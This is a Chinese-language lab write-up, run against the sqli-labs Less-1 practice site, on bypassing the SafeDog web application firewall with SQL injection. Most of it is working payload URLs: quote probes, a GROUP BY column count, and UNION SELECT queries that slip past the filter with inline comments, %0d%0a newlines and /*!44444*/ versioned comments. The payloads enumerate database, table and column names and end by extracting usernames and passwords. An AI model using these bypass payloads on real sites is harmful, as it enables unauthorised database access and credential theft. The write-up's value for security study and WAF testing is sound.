记·绕安全狗waf
以sqli-lib的less-1为测试网站
1. 引号测试(未拦截)
?id=1' 报错
?id=1'' 正常
?id=1''' 报错
?id=1'''' 正常
说明是单引号闭合, 存在注入点
而且 ?id=1' --+
正常, 注释符未被拦截
2. 测列数(拦截)
踩坑-单引号内为空也可能报错
where id = '1'''
这虽然奇怪但符合语法;
where id = 1''
这会直接报错
即sql语句中即使单引号内为空也不是能随便加的, 所以注释未被拦截还是得用注释
内联注释绕过
?id=1' order by 1--+
被拦截?id=1' /*!12345order*/ /*!12345by/ 1--+
也被拦截
关键字替换 order by
-> group by
?id=1' group by 3--+
, 同样得到列数为3的结论
3. 显示位
- 内联注释仍然被拦截:
?id=-1' /*!12345union*/ /*!12345select*/ 1,2,3--+
- 内联注释+脏数据成功:
?id=-1' union /*/fas*fa2212%0d%0a1*3*/ select 1,2,3--+
- 关键在其中的%0d、%0a或其他换行符上
- 甚至发现单纯用注释就能绕过:
?id=-1'union/*/1 /*/select 1,2,3--+
就能过
踩坑-本地运行的语句必须闭合
譬如上面的 id=-1'union/*/1 /*/select 1,2,3
放在本地运行会提示你继续构造闭合,但是运行到url却正常回显. 这里的原因应该是结束时的 /*/
被认为成 /*
然后 /
,只需要添加空格成 / */
还有一个问题是, 即使这里解决了, 后续要继续添加注释时会再次被影响到, 语法出错.
库名
踩坑-对版本号有要求
像是在本次测试中,/*!中的数字*/
限制在44444左右是不会被拦截的; 想法再小或再大都会被安全狗拦.
?id=-1'union/*/1 /*/ select 1,database(/*!44444*/),3--+
函数名内的参数只要为空, 空格、换行符什么的都无所谓
表名
标准的payload为 group_concat(table_name) from information_schema.tables where table_schema='security'
经测试被拦截的是 information_schema.tables
换行绕过:/*!--+/*%0ainformation_schema./*!tables*/
列名同理
?id=-1%27union/*/1%20/*/%20select%201,database(/*!44444*/),group_concat(column_name) from /*!--+/*%0ainformation_schema./*!columns*/ where table_name='users'--+
最后字段不会被拦截
group_concat(username ,id , password) from users